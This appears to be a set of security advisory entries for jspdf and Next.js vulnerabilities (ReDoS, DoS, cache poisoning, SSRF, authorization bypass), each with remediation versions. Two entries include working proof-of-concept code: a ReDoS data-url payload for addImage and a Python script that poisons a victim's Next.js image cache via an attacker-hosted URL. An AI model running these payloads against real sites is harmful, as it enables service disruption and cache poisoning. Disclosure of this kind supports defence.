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Overview

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the addImage or html methods. An attacker can cause excessive CPU utilization and application unresponsiveness by supplying malicious PNG image data or URLs.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade jspdf to version 3.0.2 or higher.

References

• GitHub Commit

Overview

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the addImage(), html(), and addSvgAsImage() methods. An attacker can occupy excessive CPU by supplying a malicious data-url.

PoC

import { jsPDF } from "jpsdf" 

const doc = new jsPDF();
const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';

const startTime = performance.now()

try {
 doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} catch (err) {
  const endTime = performance.now()
  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)
}

doc.save("a4.pdf");

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade jspdf to version 3.0.1 or higher.

References

• GitHub Commit

Overview

next is a react framework.

Affected versions of this package are vulnerable to Acceptance of Extraneous Untrusted Data With Trusted Data by sending a crafted HTTP request, which allows the attacker to poison the cache of a non-dynamic server-side rendered route in the page router. This will coerce the request to cache a route that is meant to not be cached and send a Cache-Control: s-maxage=1, a stale-while-revalidate header, which some upstream CDNs may cache as well.

Note:

This is only vulnerable if:

1. The user is using pages router

2. The user is using non-dynamic server-side rendered routes.

Users are not affected if:

1. They are using the app router

2. The deployments are on Vercel

PoC

import shutil
import os
import requests
from urllib.parse import quote
import time  #Import the time module

source_image = "chillguy.jpg"  #Image file
attacker_url_base = "your_ngrok_url" #your ngrok url
upload_endpoint = "https://victim_url.com"  #victim url

def copy_and_upload_image(file_name, num_copies):
    if not os.path.exists(source_image):
        print(f"File {source_image} not found")
        return

    for i in range(1, num_copies + 1):
        new_image_name = f"chillguy{i}.jpg"#change the name of image file too if you change at line 7 before

        # image file increment
        shutil.copy(source_image, new_image_name)
        print(f"Copy of: {new_image_name}")

        # URL combination
        image_url = f"{upload_endpoint}/_next/image?url={attacker_url_base}/{new_image_name}&w=256&q=100"

        # Deactive SSL verification
        try:
            response = requests.get(upload_endpoint, verify=False)
            if response.status_code == 200:
                print(f"Image {new_image_name} uploaded to {upload_endpoint}, url: {image_url}")
            else:
                print(f"Failed to upload {new_image_name}. Status: {response.status_code}, Response: {response.text}")
        except Exception as e:
            print(f"Error {new_image_name}: {e}")

          # 1 minute delay
        print(f"Wait a minute... {new_image_name}...")
        time.sleep(60) 

        # delete copy of image file on your local system
        os.remove(new_image_name)
        print(f"Delete: {new_image_name}")

#input
try:
    num_copies = int(input("Enter how many copies of your image: "))
    copy_and_upload_image("chillguy.jpg", num_copies)#change the name of image file too if you change at line 7 before
except ValueError:
    print("Please input number only.")

Remediation

Upgrade next to version 13.5.7, 14.2.10 or higher.

References

• GitHub Commit
• GitHub Commit
• PoC

Overview

next is a react framework.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the resolve-routes. An attacker can access internal resources and potentially exfiltrate sensitive information by crafting requests containing user-controlled headers (e.g., Location) that are forwarded or interpreted without validation.

Note: This is only exploitable if custom middleware logic is implemented in a self-hosted deployment. The project maintainers recommend using the documented NextResponse.next({request}) to explicitly pass the request object.

Remediation

Upgrade next to version 14.2.32, 15.4.2-canary.43, 15.4.7 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• Vercel Security Advisory
• Nuclei Templates

Overview

next is a react framework.

Affected versions of this package are vulnerable to Missing Authorization when using pathname-based checks in middleware for authorization decisions. If i18n configuration is not configured, an attacker can get unintended access to pages one level under the application's root directory.

e.g. https://example.com/foo is accessible. https://example.com/ and https://example.com/foo/bar are not.

Note:

Only self-hosted applications are vulnerable. The vulnerability has been fixed by Vercel on the server side.

Remediation

Upgrade next to version 13.5.8, 14.2.15, 15.0.0-canary.177 or higher.

References

• GitHub Commit

Overview

next is a react framework.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the image optimization feature. An attacker can cause excessive CPU consumption by exploiting this vulnerability.

Workaround

Ensure that the next.config.js file has either images.unoptimized, images.loader or images.loaderFile assigned.

Remediation

Upgrade next to version 14.2.7, 15.0.0-canary.109 or higher.

References

• GitHub Commit